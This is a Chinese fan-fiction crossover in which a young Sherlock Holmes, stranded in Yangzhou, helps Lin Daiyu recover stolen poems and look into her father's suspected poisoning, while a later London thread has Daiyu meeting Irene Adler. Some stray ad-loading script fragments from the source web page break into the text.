《黛玉与福尔摩斯》 1. 诗稿失踪案1 十九世纪,贝克街221号。 窗外的街道已经亮起黄色的路灯,福尔摩斯依靠在扶手椅上,拨弄着平放在腿上的小提琴。 华生已经听福尔摩斯拉了快一个小时的小提琴,他的小提琴拉得很好,悠然悦耳,因此华生才能忍受如此久的连续不断的声音。 但是华生觉得今天的琴声在心中格外刺耳,以他之前的经验来看,这位大侦探现在十分心烦意乱。 他不知道福尔摩斯为何会感到厌烦。 在扶手椅的不远处,桌子上放着一份报纸。这是华生亲手把报纸给福尔摩斯的,自从福尔摩斯收到这份报纸以后,他就从黄昏开始拉小提琴,直到现在也没有结束。 “林黛玉小姐过几天就会到达伦敦,这不是一件很好的消息吗?”华生不理解福尔摩斯这持续拉琴的古怪的行为。 福尔摩斯从扶手椅站起身,颀长的身子遮住窗外的路灯,他放下小提琴,摇头对华生说:“不,我认为她来伦敦并不是件好的消息。” 他一边说着,一边拿起在桌子上摆放的烟斗,准备放在嘴前。 “你从现在应该就要开始少抽烟。”华生皱眉提醒他,“林黛玉小姐的肺部受不了烟草的刺激,而且她也不喜欢你抽烟。” 福尔摩斯动作顿了一下,还是抽起烟来,对华生说:“你要知道,我是离不开烟斗。” 华生心中暗自偷笑,之前他听黛玉说,当年福尔摩斯对她可不是这么说,只是自从黛玉离开伦敦后,他就重新抽起烟斗来,越来越频繁。 过了一会后,客厅里就已经烟雾缭绕,华生虽然也抽烟,但是身为医生,他比较能克制自己。 “为什么林黛玉小姐回来不是件好消息?”华生问他。 福尔摩斯闭上眼睛,摇摇头,他不想告诉华生那时黛玉离开的原因。 “反正我现在也不想见她。”福尔摩斯睁开眼睛,放下烟斗。 华生直接戳穿福尔摩斯的心思,说:“虽然我不知道你为何这样说,但是从报纸的内容来推测,我想是因为林黛玉小姐回来的缘由让你感到不高兴了。” 福尔摩斯的脸上没有任何变化,作为一名理性的侦探,他很少将自己的喜怒哀乐放在脸上。 但华生作为他朝夕相处的好友,比其他人更了解福尔摩斯,他看见福尔摩斯的眼中闪过一丝难以察觉的失落,于是面露微笑,说:“你肯定是不高兴林黛玉小姐回来只是因为受到女王的邀请,而不是因为你。” “亲爱的华生,你和我相处这么久了,你的推理能力还是没有长进,只看到最显浅的表面。”福尔摩斯摇摇头,望向窗外自言自语,“这个时候,他应该到了。” 话音刚落,门外有一阵敲门声。 他和华生之间有关的黛玉的话题就此打断。 华生离门口近,他去开门。 福尔摩斯立在扶手椅旁边,思绪飘向远方。 他在今天下午收到一份报纸和一张便条,报纸上是有关黛玉拜访伦敦的消息,在黛玉离开他将近一年多的时间里,福尔摩斯虽然不想承认,但他确实有时候时不时想起这个东方来的女孩。 如果没有黛玉的帮助,当时年少的他或许就永远困在东方国度回不来了。 …… 那是一个晴朗的冬日下午,十四岁的他被弄晕扔到前往东方国度的货船。 尽管期间福尔摩斯请求返航,但是整个货船不可能因为一个男孩的请求就返回而耽误时间,于是便带上了他一同前往东方。 当然少年福尔摩斯也不是什么泛泛之辈,在来年准备靠岸的五月份时,他凭借自己出色的推理能力解决了货船下毒一案,成功获得所有水手的好感。 树大招风,福尔摩斯的优秀引起了一些人的忌惮,于是在靠岸的一个夜晚,他被人绑上扔到港口上。 尽管年少的他刚来到陌生的地方,福尔摩斯还是展现出超出同龄人的冷静。 他站在街头,观察四周的环境,往来行人的服饰告诉他这里就是东方国度。 福尔摩斯明白自己这一身衣服太明显,显得十分格格不入。 于是他打算给自己换一身衣服,但是他摸了摸身上的口袋,发现空空如也,该死的那一群人,连他的金币都不放过。 很快福尔摩斯也释然下来,因为他带来的货币未必能在这里流通。 福尔摩斯高挺的身子在街头格外突出,引得部分路人忍不住朝他望去。 福尔摩斯的语言能力不错,在被扔到货船前,他就精通掌握拉丁文、德语和法语。 在货船上有一些华夏来的水手和厨子,他通过自己较为擅长的学习能力和与华夏人之间的交流,也简单掌握一些中文,但也只限于一些日常沟通,毕竟中文也不是那么容易学习的。 福尔摩斯是个乔装打扮的高手,他很快给了自己一个码头小工的身份。 他擅长拳击以及剑术,常年累月的运动锻炼给他一副强壮的体能,对于码头小工这种体力活对他来说也不在话下。 虽然语言上有些不同,但这里的人们也没当太多回事,华夏地大物博,语言不通乃是平常事,至于相貌上的差异,这里的人自然把福尔摩斯归为胡人这一类,这也不是什么稀罕事。 再加上福尔摩斯也是个交流的高手,在此之前他为了破案没少潜入各式各样的人群中,来获取消息,所以这一次他很快就融入当地的码头小工中。 于是福尔摩斯一边为自己挣回家的路费,一边打探四周的消息,重新拾起自己的侦探生涯。 在扬州的港口的不远处,林黛玉乘坐着快船,日夜兼程从京城出发,自从听闻父亲身子病重的消息后,她就一直茶饭不思,在船上独自依窗垂泪。 尽管随她同行的贾琏和雪雁都一直在劝慰她,黛玉仍是抑郁寡欢,是啊,她已经没有了母亲,更不能失去父亲。 想到此处,心口难受,黛玉忍不住拿起绣帕掩住口,咳嗽几声。她的精神状态一直不好,眼里心里只有那个病重的父亲,其他的事情也一时没有放在心上。 这一日,黛玉的一队船终于停靠在扬州城的港口上,只是因为碍于她是深闺小姐的身份,黛玉不能随便抛头露面,她只能在船上等待林家的马车前来迎接。 虽然黛玉对于父亲的病重心急如焚,归家心切,她也只能耐着性子等侯。 就在雪雁点清剩下的东西时,她发现黛玉的诗稿不见了。 “姑娘是不是把诗稿藏起来了。”雪雁惊慌失措地到黛玉的船上问她。 黛玉微微蹙眉,说:“这些诗稿我写完后都叫你收起来,你倒反来问我。” 片刻,雪雁的眼中漫上一层薄雾,说:“姑娘,我记得很清楚,诗稿我是收起来,但是现在却怎么也找不到了。“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 林黛玉沉默不语,女子的诗稿失踪并不什么好事,自古以来闺阁手迹是不能轻易外传。 她必须得把这些诗稿找回来,否则日后落到哪个混账浪子手中,有损她的清誉不说,还带累林家的名声,本来父亲的身子状态就不好,若哪一日听到自家的女儿随处乱放诗稿,说不定给他的病情雪上加霜。 但贾琏并不懂黛玉的心思,他本就是一个浪公子,于是便对雪雁道:“丢了就丢了,林姑娘的诗稿也不是什么贵重物品,眼下最重要的是把行李拿下船。” 黛玉也不想和贾琏说太多,于是便要求小厮先把箱子细软都搬下去,除了那个丢失诗稿的地方留到最后再收拾。 贾琏应许了,刚下船时有个小厮上前,告诉贾琏他听到了船内的交谈,或许有个人可以帮忙她找到失踪的诗稿。 雪雁在船内听到后,哪里还忍住,忙出门让小厮请那个人来。 那小厮见雪雁玉雪可爱,她如雪团般的小脸上尽是焦急的神情,忙劝慰她说:“姑娘,不用担心,这人我立刻替你们请来,即使你在这个闹市丢了一根细针,他也能给你找出来。” 黛玉在船内听见这个小厮把那个人说的如此出神入化,内心只怀疑那个人莫非只是个江湖骗子。 雪雁可不在乎这些,央求黛玉请那个神人来帮忙找失踪的诗稿。黛玉想着如今林家的马车还没有来,索性就一边等着一边让这人帮忙。 过了一会,黛玉听到窗外的传来脚步声,透过纱窗,她只看到一个颀长的身影。 “所以这里丢诗稿。”福尔摩斯的中文比较僵硬,语调也有点奇怪,但并不太影响交流。 黛玉在船内听着这奇怪的发音,心中更加确定这个人就是所谓的江湖骗子。 她听见福尔摩斯上了隔壁船,那里就是她放诗稿的地方。 过了一会,黛玉手中的书还没有放下,雪雁已经握着卷好的诗稿入内,脸上流露的喜悦已经告诉黛玉诗稿找到了。 雪雁忙忙把诗稿铺开,让黛玉确认这是否是她的手迹。上面只是她平时随手抄写的稿子,而不是她失踪的诗稿。 “我当他是谁,原来拿这般东西哄骗我。哪里来的江湖骗子。”黛玉冷笑道,就在她以为自己被骗子糊弄时,隔壁船上传来一个丫鬟的求饶声。 雪雁忙出去查看情况。 不知过了多久,林家的小厮已经前来汇报,说是马车已经到达。雪雁这时候也碰巧回来,手中再次握着一卷纸,她想再一次铺开诗稿。 但是黛玉不想铺开,她已经被哄骗了一回,这回再被骗不就是在羞辱她吗? “姑娘,这一次是真的。”雪雁解释,“上回是那个人要求我陪他演一场戏。” 见雪雁如此说,黛玉只得铺开诗稿,上面赫然写着自己最近写的几首诗词,正就是那失踪的诗稿。 “这倒也奇了。”雪雁仰头,说要把所有经过告诉黛玉。 这时一个身影靠近了黛玉的纱窗。 “我是谁?我叫福尔摩斯。”黛玉从那个奇怪的语调听出就是这个人帮自己找回了诗稿。 听他这语气,黛玉知道适才自己的话被他听了去,看着眼前已经找到的诗稿,她心中有些羞愧自己先前武断下结论。 “我要把中国的一句谚语送给这位小姐:人不可貌相,海水不可斗量。”福尔摩斯回怼了她。 2. 诗稿失踪案2 贝克街的夜晚雾气蒙蒙,昏暗的煤油灯投射在潮湿的街道上,一辆精致的四轮马车停靠在221号门前。 华生身后跟着一个身穿华服,身材高大的人。福尔摩斯从回忆回到现实,请这个求助人坐下。 “我收到了你的便条。“福尔摩斯率先开口,“尊敬的陛下。” 来客猛地站起身,问:“你怎么知道我的身份。” 福尔摩斯冷冷回答:“这不重要,重要的是你尽快把事情的来龙去脉都说过一遍。” 这位来客烦躁地揉了揉自己的头发,原来他是欧洲的奥姆斯坦家族波西米亚国王,在五年前和一位年轻的女士艾琳坠入爱河,而现在他将要和另一国家的公主举行婚礼,这个时候国王收到了艾琳的威胁信。 “她要在下周的婚礼上把我和她之间的合照发出去。”国王已经吓得六神无主。 福尔摩斯不耐烦地睁开眼睛,说:“我有办法把照片拿回来。陛下就静候佳音吧。” 送走这个私生活不检点的国王后,华生才问福尔摩斯有何想法。 “这并不是什么难事。”福尔摩斯骨节鲜明的手敲了敲桌面,“你要来杯咖啡吗?哈德森太太已经煮好了。”他的鼻子很灵敏,远远就闻到楼上的咖啡味道。 华生老实回答:“那我也来一杯。” 福尔摩斯朝他浅笑了一下,说:“你替我到楼上拿一杯来,因为我不想面对哈德森太太。”说完他有些头疼地揉了揉自己的太阳穴。 华生知道他们的房东哈德森太太又没少唠叨福尔摩斯,比如福尔摩斯经常弄乱房间,或者把烟头扔得到处都是,还搞一些各种各样的化学实验。 自从黛玉离开后,哈德森太太就越发唠叨更加厉害了。 在华生上楼拿咖啡时,福尔摩斯已经心中想好如何解决国王的风流韵事,从艾琳的手中拿到照片。 这方法和他那年处理黛玉的诗稿如出一辙。 …… 那一天,福尔摩斯正在码头懒洋洋地数着停靠的船,只要他没有搬运任务,他就一直依靠码头岸边的墙角,试图找到回大英帝国的船。 至于之前把他扔下去的船,福尔摩斯已经不指望靠他们回去。 就在他数到第十三艘船时,一个小厮向他跑来,比划解释,意思是说来活了。 自从福尔摩斯在扬州码头住下后,他的主要收入来源就是帮忙求助人寻找东西或者寻人,就和他的侦探工作类似,以此来获取报酬。 而这些小厮们就是负责把求助消息告诉他,事成之后再分报酬。 原本有些散漫的福尔摩斯立刻来了兴趣,他跟着小厮来到码头边。他先看见黛玉乘坐的船,福尔摩斯对这里的船已经比较熟悉,看着这陌生的船,便猜测船主是刚来到扬州城。 他看见一个男人从船上下来,身后跟着一个丫鬟。 “你能找到诗稿?”贾琏用怀疑的眼神上下打量他,虽然福尔摩斯才十四岁,但他的身高已经和贾琏差不多。 “我能。”福尔摩斯胸有成竹回答。 “诗稿是在哪失踪的?”福尔摩斯问。 贾琏示意雪雁上前解释,雪雁朝福尔摩斯行礼后,指了指另一艘船,说:“诗稿就是在这里不见的。” “带我进去。”福尔摩斯和雪雁踏入船,里面只有个固定的架子和几箱还没来得及搬下去的行李。 雪雁每次黛玉写完诗稿后,她就把诗稿叠在一起,放在架子的最高层。 福尔摩斯上前靠近架子,拿出随身携带的双面放大镜。他发现架子旁边的箱子表面有擦拭过的痕迹,比其它的箱子更干净一些。 他从架子拿出剩余的诗稿,卷在手中。 他看了雪雁的身高,现在的雪雁是可以伸手够到架子的,于是他命令雪雁把身高低于她的人全部带来。 这次随从黛玉前往扬州的不仅只有雪雁一个丫鬟,还有从贾府带来的紫鹃以及春纤几个丫鬟。 雪雁都把她们叫到船上,福尔摩斯打量她们,除了紫鹃比雪雁高一点,其她的丫鬟都比较矮。 “过来,把这诗稿交给你家小姐。”福尔摩斯吃力地比划着,他的中文词汇还不足以表达很好。 雪雁接过诗稿,明白他的意思,只是她不太相信福尔摩斯这么快就就找到了。 “就是它。”福尔摩斯严肃点点头,表示自己已经找到。 雪雁并不大认识字,她只能到黛玉的船上确认。 福尔摩斯敏锐地观察那几个丫鬟的神情,锁定后立刻让贾琏和他一同暗中监视这个丫鬟。 正如福尔摩斯预料的那样,那个丫鬟在看到福尔摩斯拿出诗稿后,神色慌张了一下,下船后她立刻去丫鬟呆着的另一艘船查看,她第一时间以为是自己的诗稿被福尔摩斯拿了去。 然而她偷来的诗稿还好好躺在自己的行李中,但她还没来得及松口气,就被贾琏抓了个现场。 福尔摩斯略施小计,利用小偷的心理诈了一下她,就把失踪的诗稿找了回来。 当他看到被擦拭的箱子时,就知道这个小偷是踩着箱子才够着架子的最高层,只是小偷以为把脚印擦掉就能万事大吉,却不曾想弄巧成拙。 所以福尔摩斯基本能确定小偷就在丫鬟之间。 至于剩下的事情,福尔摩斯不再干涉,下了船后,他听到一句话“我当他是谁”从一艘船上传来。 即使福尔摩斯不太听懂中文,但从语气也能听出来有人质疑他的能力。 于是他停下脚步,在贾琏给他报酬后,静静地看着雪雁出入,直到听见纱窗传来雪雁的称奇声,才缓缓怼了那个小瞧他的小姐一句。 林黛玉心中又愧又气,她没想到那个人偷听了她的话去。 但她也没有继续回怼下去,只是回答:“多谢你的帮助。” “这才是你应该说的话。我不只是会找东西,我还会分析案件。我不是骗子。”福尔摩斯有些得意地掂量手中的报酬,够他使用一阵子。 他不给黛玉回话的机会,大步离开。 在回林府的路上,雪雁将她看到一切都告诉黛玉。 “真是难为他,竟然一下子就找到那个偷诗稿的丫鬟。”黛玉虽然嘴上如是说,但心中觉得那个人不过是取巧罢了。 她先前命雪雁把诗稿放在架子高层就是考虑到这一点,黛玉明白贾府的下人们手脚并不干净,所以才放在高层防着他们。 黛玉猜到福尔摩斯也是通过架子的高度来推理出来,期间雪雁拿了旧诗稿来应付她时,黛玉一时没有反应过来。 现在的她后知后觉,才知晓福尔摩斯就是来诈一下小偷。 雪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 雁见黛玉眼波流转,以为她的姑娘在思考那个男孩,笑道:“姑娘,那个人的容貌与我们平常见到的人并不一样。” 黛玉对此并不太感兴趣,现在的她只注意她将要碰见多年未见的父亲。 林府上下一片寂静,黛玉的马车没有从大门入内,而是转到一偏僻的角门处。 黛玉认为自己回家的事情不宜声张,于是进入林府后,她先让众人一点一点把箱子细软慢慢搬进去,自己则扶着雪雁的手往父亲的房间赶去。 虽然她已经离开林府多年,但她还是成功凭借自己儿时的记忆来到父亲的房间,开始替父亲捧汤捧药的生活。 …… 贝克街,福尔摩斯在等华生拿咖啡下楼时,心中已经知道如何与那个狡猾的艾琳小姐周旋。 这时华生提着咖啡壶下楼,身后跟着哈德森太太。 哈德森太太看着房间乱七八糟的样子,又唠叨起来:“你们两个简直是我见过最糟糕的租客了,之前还有林黛玉小姐催促你们收拾东西,现在倒好……” 她把咖啡壶放在桌子上,警告福尔摩斯不要把她当成管家。 “这几周林黛玉小姐什么时候回来,我很想念那个美丽又聪明的东方小姐。”哈德森太太把盘子收走,她显然也知道黛玉回伦敦的消息。 华生抿了一口咖啡,说:“我想应该会很快见面。福尔摩斯,你说呢。” “哈德森太太,你的咖啡很美味。”福尔摩斯没有接过华生的话,而是夸起哈德森太太的技术。 哈德森太太并不会被福尔摩斯带偏,她脸上露出若有若无的微笑,在围裙上擦了擦自己的双手,笑说:“你和林黛玉小姐是不是吵架了?所以她才离开伦敦。”她记得林黛玉小姐离开伦敦的时候,是一个雨夜,她在楼上听到福尔摩斯和黛玉的争论声。 华生听见这消息,有些震惊地转头看向福尔摩斯,他可不知道黛玉和福尔摩斯吵过架,他以为黛玉离开伦敦是为了回家看望父亲而已。 福尔摩斯只是将手中的咖啡一饮而尽,起身对哈德森太太说:“哈德森太太,我有些累了,明天我还要早起。” 然后他转向华生,告诉华生明天下午三点整再来贝克街。 “为什么是下午三点。”华生问他。 福尔摩斯懒洋洋回答:“因为我明天早上要出去一趟。亲爱的华生,你也不想白走一回吧。” 在送走华生和哈德森太太后,福尔摩斯才起身拿起报纸,再一次浏览那一条让他心烦意乱的消息。 林黛玉小姐就要来到伦敦,但这一次不再是因为他的缘由,这让他感到有点五味杂陈,当然也只是一点点而已。 现在的黛玉不再只是个初来乍到不喑世事的女孩,福尔摩斯亲眼目睹她是如何从屡次三番投稿碰壁到现今被女王邀请进入读书俱乐部的著名作家。 当然福尔摩斯向来不会把过多的感情和精力放在这类事情上,他只会对扑朔迷离的案件感兴趣,其它没用的事情是不会放在自己的脑子。 他明天还有重要的事情,比如要去观察艾琳小姐的日常生活,福尔摩斯可不想因为一则消息影响自己明日的判断。 于是他把报纸放进抽屉,头也不回地进房间休息去。 “人类是渺小的,工作才是一切。”福尔摩斯这样告诉自己。 3. 相遇 迷雾笼罩着清晨的伦敦,有艘游轮趁着晨曦驶入伦敦的码头。 黛玉乘坐的游轮提前到达伦敦港口,本着入乡随俗的原则,她已经换上当地风格的褶皱裙。 伦敦的清晨气温比扬州城要低一些,黛玉记得她第一次到达伦敦时就因为水土不服而生了一场病。 因此这一次她回来就有了不少经验,足足给自己穿上五层衣服,第一层是紧身胸衣,第二层是衬裙,第三层是灯笼裤,第四层是长筒袜,第五层才是箍裙。饱满的裙摆形成宽大的钟形轮廓,蝴蝶结和层层叠叠的荷叶边更显黛玉娇俏动人。 黛玉的东方面容吸引不少人的目光,于是她戴上带有飘带的软帽,系在脖子,紧贴自己的头部,除了保护头发受灰尘和烟雾污染以外,还能不让自己的面容如此显目。 她身边的雪雁和紫鹃也都换上了当下流行的衬裙,头上也系着软帽,只是和黛玉相比略显朴素些,但和伦敦乡村少女相比,这两个丫鬟的服饰也算是上层。 两个丫鬟扶着黛玉的手,脚步轻轻地走到甲板上,这时游轮已经拉响鸣笛,准备靠岸。 伦敦的雾气散了一些,黛玉可以看到不远处的街道景色。 “姑娘,仔细被冷风吹着。”紫鹃给黛玉披上佩里斯图案的丝绸披肩,有些头疼地端详黛玉,这几个月的风尘仆仆,让姑娘都熬瘦了。 黛玉把目光移到码头上,有个鬼鬼祟祟的人吸引了她的注意。 由于长期和福尔摩斯相处,本就心较比干多一窍的黛玉更是养成了细心观察的习惯,周围的一点异常都能引起她的察觉。 只见这人邋里邋遢,脸上留着络腮胡,面红耳赤。黛玉通过这人的步伐看出他是个醉酒的行人。 很高超的化装技术,黛玉心想。这人尽管一身破烂,她还是认出来这是熟悉的人。 这人是她一年多没见面的福尔摩斯。 “姑娘在看什么呢。”雪雁率先发现黛玉的眼神在某一处停留许久。 黛玉这才回过神来,浅笑道:“我见这伦敦的景色动人,一时贪看迷住了。” 雪雁挠头,顺着黛玉的眼神望去,也没瞧见码头边有什么景色吸引人的。 林黛玉并不打算和福尔摩斯打招呼,她知道福尔摩斯化装就是在工作状态中,这时候贸然上前只会打扰他的探案。 于是黛玉便给雪雁十几个先令,让她先去叫来四轮马车,自己则扶着紫鹃的手下游轮。 几个月一直飘荡在海洋上的她们,这次终于稳稳当当地踏入坚实的大地。 虽然才仅仅只离开快两年,黛玉发现这里建筑和街道却发生了不少的变化。 工业革命的进行,已经加快伦敦城市化的步伐。 街道似乎都被沾染上不少烟尘,潮湿又肮脏的道路蔓延到大雾深处,黛玉发现伦敦的雾气比往年看到的更重了。 想起自己那年第一次踏入伦敦码头的心情,林黛玉现在有些五味杂陈,有种物是人非之感。 “姑娘,要不要去给老爷发一份电报,说自己平安到达,免得让老爷担忧。”紫鹃见黛玉面露愁态,以为她想家了。 黛玉点头,想起自己当年那个病重的父亲,到现在身体完全恢复的他,期间也少不了福尔摩斯的帮忙。 …… 那一年,对于父亲突如其来的病重,黛玉虽然心中难过,但是也没有因悲伤过度而失去理智。 相反这次父亲的病重昏迷让她起了警心。 当年她抛父进京都时,在贾府的几年时间,黛玉年岁渐渐稍长,便知道大宅深院里的肮脏事情,尤其是以贾府为首。 她不由思考自己父亲的病情,虽然贾母总说林家嗣子不盛,但黛玉知道嗣子稀少并不能直接表明自己的父亲身子虚弱。 黛玉离开父亲的房间,独自走到林家的花园门口。 她一边抚摸涂上棕色油漆的大门,一边思考父亲的病情。黛玉久病成医,知道能让父亲在短时间内病情加重的,只有那种烈性极其凶猛的毒药。 想到此处,黛玉只觉得背后冷汗淋漓,如果这么说,有人下毒害了她的父亲。 当然黛玉也觉得自己的这个想法很可笑,有人为什么要害她们林家。 但黛玉还是感觉一种无力感涌上心头,如果正如她猜测的那样,她觉得自己眼睁睁看着父亲受困却无能为力,而下毒者却逍遥法外自己却不知。 正想着,她不由落下泪来。此时雪雁正好端茶进门来,看见自家的姑娘正抹泪。 雪雁知道黛玉是在担心父亲的身子状况,安慰的话却说不出口,她知道这时候怎么说都是苍白无力的。 黛玉也发现雪雁进门,看着雪雁,她想起自己前一周在扬州城港口看到的那个神人,也就是被她当作江湖骗子的福尔摩斯。 虽然她没有办法让父亲的身子好起来,但她可以尽最大的努力找出父亲病重的原因。 因此黛玉想到了那个人。既然他如此神通广大,那么能不能找到自己父亲病重的原因。 这人能在这么短的时间内找到自己失踪的诗稿,黛玉见微知著,知道这人并非等闲之辈。 况且现在的她也只能从他身上寻求帮助,因为四周的人都认为自己的父亲是身子虚弱才如此病重,并不存在什么下毒。 “雪雁,你还记得那个人的容貌吗?就是帮我们找回诗稿的人。”黛玉下定决心,以死马当活马医的心态向雪雁问起他的情况。 雪雁回答:“当然记得。”福尔摩斯独特的西方面容给她留下深刻的印象。 黛玉心下放松了一些,她又细想了一下,回自己的房间提笔写了一封帖子,告诉雪雁自己要答谢她的帮助,并且邀约请入林府相见。 “姑娘……”雪雁有些不理解黛玉的行为,“和外男见面可是……” “我当然不会这样做,你把这帖子交给琏二爷,他自然会去办的稳妥。”黛玉知道眼下林府正经主子也只剩下自己,虽然也有个姨娘帮衬,但到底也只是半个主子。 贾琏虽然低俗不堪,但是对外办事还是可以的,拿到雪雁送来的帖子后,他虽然不理解黛玉要答谢那人的行为,但还是依照黛玉的要求去做。 毕竟现在的自己是寄住在扬州城,林府也就只有黛玉能说得上话,眼下林如海病重昏迷,林家的几个远房亲戚也不大过问消息。 整个林府,虽然那几个从姑苏来的远族对林府虎视眈眈,但林如海还活着,林黛玉仍是名正言顺的林府管理事务的小姐。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 如今的黛玉已经年过十二,在贾敏和贾母的教导下,她对管家事务自然耳闻目染,在贾府,凤姐也时不时托人寻黛玉问她在管家方面的事情,所以随着年岁渐长,黛玉对于内宅事情的管理更加得心顺手。 贾琏亲自带了几个小厮,在逛酒楼回来后顺路到码头去寻找福尔摩斯。 福尔摩斯并不难找,他高挺的身子如同鹤立鸡群,贾琏很快就把福尔摩斯请入林府。 福尔摩斯虽然不知道那个小姐在买什么关子,但他还是跟着贾琏进入林府。 他踏入正厅时,一个俏丽的丫鬟立刻上前给他递茶,紫鹃趁机请贾琏到偏房去喝解酒汤。 这时候的贾琏早已醉得不省人事,紫鹃命小厮们扶贾琏回客房休息后,立刻在正厅门口看守,不许任何丫鬟靠近。 黛玉虽然做了个比较大胆的决定,但她到底只是个深居闺阁的女子,不好露面,她隔着屏风再次向福尔摩斯表示感谢。 “你来找我不仅只为了这件事情吧。”福尔摩斯只能从屏风看见黛玉的娇小身形。现在的福尔摩斯中文已经说得很好,当然还是有点僵硬,但是他的语言天赋已经开始展现在中文对话上。 只听见黛玉在屏风后回答:“是的,我希望你能帮我查明家父病重的原因。我记得你说过,你不仅只会找东西。” 听见要查案,福尔摩斯立刻打起精神来,自从来到这里后,他的侦探工作大多都是找失踪的东西,这让他感觉自己像一条鼻子敏锐的猎犬,没有给他带来多大的成就感。 “当然可以……”福尔摩斯心中有些兴奋,他打了个指响,环顾四周,看见那个俏丫鬟在正厅,及时住了口。 黛玉听出福尔摩斯的话语中断,解释道:“她叫雪雁,是我的贴身丫鬟,你可以放心说出来,我保证她不会说出去。” 福尔摩斯扬眉,他还是不放心:“如果我要查案,我必须有个正当的理由呆在这里。”经过几个月对华夏的了解,他发现这个东方国度的规矩比伦敦要严厉许多,很多事情都是他起初犯错才知道的。 林黛玉早就想好如何处置他,她给了福尔摩斯林府小厮的身份,这样他出入林府名正言顺。 “很好。”福尔摩斯已经迫不及待开始进入侦探工作中,“请告诉我,你叫什么名字。” “我的乳名叫做黛玉。”黛玉反问他,“你叫什么名字。” “叫我福尔摩斯就行。”他很快进入工作状态,“你的父亲是什么时候病重的。” 林黛玉心中暗自称奇他的名字,但也只是奇怪了一秒钟,她略思索一会,回答:“从京城收到家父病重的消息开始,至少过去了两个多月。” 福尔摩斯点点头,又问:“我掌握的信息有限,我想你应该也有自己的想法。” 从踏入林府,福尔摩斯就已经开始搜寻信息,虽然这是他第一次踏入东方国度的大宅院,他也从这庭院深深的寂寥中推出这宅子的主人不大管家,庭院里落叶堆积、尘土飞扬。 林黛玉把自己的下毒推论告诉了他。 福尔摩斯沉默一会,才说:“这是个很大胆的推论。当然对我来说也是很有启发性的。” 就这样,福尔摩斯暂时以林家小厮的身份进入了林府。 4. 威胁 福尔摩斯很快就接受了自己成为林府小厮的事实,对他来说,自己现在的身份和伦敦那些随从差不多,都是照顾主人的起居饮食,只是他不能随意出入二门,也就是说,只有黛玉出了二门后,他才有机会亲自和黛玉聊上几句。 在几个林府的小厮中,福尔摩斯的身形条件格外出众,且不说他的容貌英俊异于旁人,就说他做的事情总是让人无可挑剔。 事实上,福尔摩斯表面虽然一副散漫的样子,但是投入工作中还是让人无法挑出错处。 当然在日常工作中,福尔摩斯也没有忘记自己的任务。比起偷偷摸摸询问黛玉相关信息,福尔摩斯更愿意从下人们的口中套出消息。 福尔摩斯是个套话的高手,仅仅过了一天的时间,他对林府上下各种情况都了然于胸。 他从下人口中知道林如海是骤然昏迷晕倒,随后叫来太医后就被判定为病情加重,奴仆们连夜把消息传入京城。 如果依照黛玉的推论,福尔摩斯认为能下毒的也就只有亲近林如海的几个丫鬟和姨娘。 听下人说,第一时间发现林如海晕倒的就是云姨娘,因为林如海当日就是在云姨娘的屋子歇息的。 这一日,福尔摩斯垂手立在林府大门外,望着路过林府往来的行人,心中在盘算这个云姨娘。 从关系来看,云姨娘确实更容易给林如海下毒。 但他知道云姨娘的信息不多,因此交接看门工作回来后,福尔摩斯走到林府花园前外的一角门处,此处偏僻,原是给住在里面的黛玉的丫鬟出入,只是自从黛玉进京城后,这角门就锁上了。 现在黛玉重新入住花园的园子,并没有再次打开角门的打算,只是把钥匙给了雪雁,只供她一人出入,因此路过角门的人并不多。 福尔摩斯按照约定敲门三下,停了一下,再次敲三下。雪雁应声而来,推开门,问他有什么线索。 “我需要和云姨娘谈谈。”福尔摩斯把自己的需求告诉雪雁,让她转告黛玉。 雪雁应声而去。 …… 四轮马车的声音打断了黛玉的回忆,是雪雁已经叫来马车。车夫帮忙把几个皮箱放进车里,最后黛玉扶着雪雁上了马车。 “圣约翰伍德,塞彭泰恩大街上的布里翁尼大院。”黛玉低头看了手中的纸条,她的英语已经说得很好,就连身旁边的两个丫鬟也能简单说一些英语,因此紫鹃才能叫来马车,虽然时间有些久。 “坐稳了,小姐们。”车夫扬起马鞭,车轮驶向伦敦城区。 雪雁已经跟黛玉来过一回,见这马车开往的不是贝克街,感到有些好奇,她家的姑娘怎么没有第一时间去找福尔摩斯先生。 但有车夫在前头,黛玉也曾告诫过她不许在外面到处说,所以雪雁也只是把嘴巴闭上,把问题咽下去。 紫鹃是第一次随黛玉来伦敦的,她的目光一直打量着四周的景色,目光从马车内部转移到外头,她掀起帘子一角偷看伦敦的景色。 四轮马车停在一个街道上,黛玉刚下马车,就远远看见一个容颜美丽,身材高挑的棕色头发女子在路灯下等候。 黛玉摘下软帽,那名女子才认出来就是她要等待的人,于是她忙上前,笑说:“你好,想必你就是林黛玉小姐。” “你好,我正是黛玉.林。”林黛玉朝她行了个屈膝礼,并用英国的称呼习惯介绍自己。 那女子忙回礼,回答:“我叫艾琳.艾德勒。” 她痴痴打量着黛玉的容貌一会儿,才笑说:“你的容颜和你的作品一样,都让我沉醉其中。” “非常高兴你能来和我见面。”艾琳小姐热情地拥抱了黛玉,一旁的紫鹃微微皱眉,她可没见过哪个人对黛玉如此亲热,就连贾宝玉也不能逾矩。 艾琳小姐作为黛玉的忠诚粉丝,曾经在华沙帝国剧院上将黛玉的作品改编成戏剧,才让她的作品成功流传开来。 因此黛玉对艾琳小姐的帮助十分感激。 艾琳小姐见车夫已经把好几个皮箱搬下来,便命身边的随从把皮箱带进自己的大院对面的兰厄姆旅馆。 “对不起,林黛玉小姐。”艾琳小姐解释,“我准备要离开伦敦,因此我的布尼翁大院将要出售,所以只能委屈你暂时住在对面的旅馆几天。” 艾琳知道黛玉过几天就会和女王见面,那时候女王自然会安排黛玉的住处。 “你要离开伦敦?”黛玉感觉有些惊讶,艾琳小姐在剧院当歌手时,她就告诉过黛玉,她的梦想就是在伦敦有属于自己的房子。 如今她已经梦想成真,却要离开伦敦。 艾琳伸出手上的手指,上面有一枚闪闪发光的戒指,她脸上露出幸福的笑容,说:“我准备结婚,今天中午十二点我将和我的先生在牧师的见证下完成我们的仪式。” “哦,这惊喜来得太突然。”黛玉还未从艾琳离开伦敦的震惊中反应过来,就迎来一个更加震惊的消息。 艾琳诚恳对黛玉道:“你千里迢迢从东方来,我应该要第一时间接待你。” 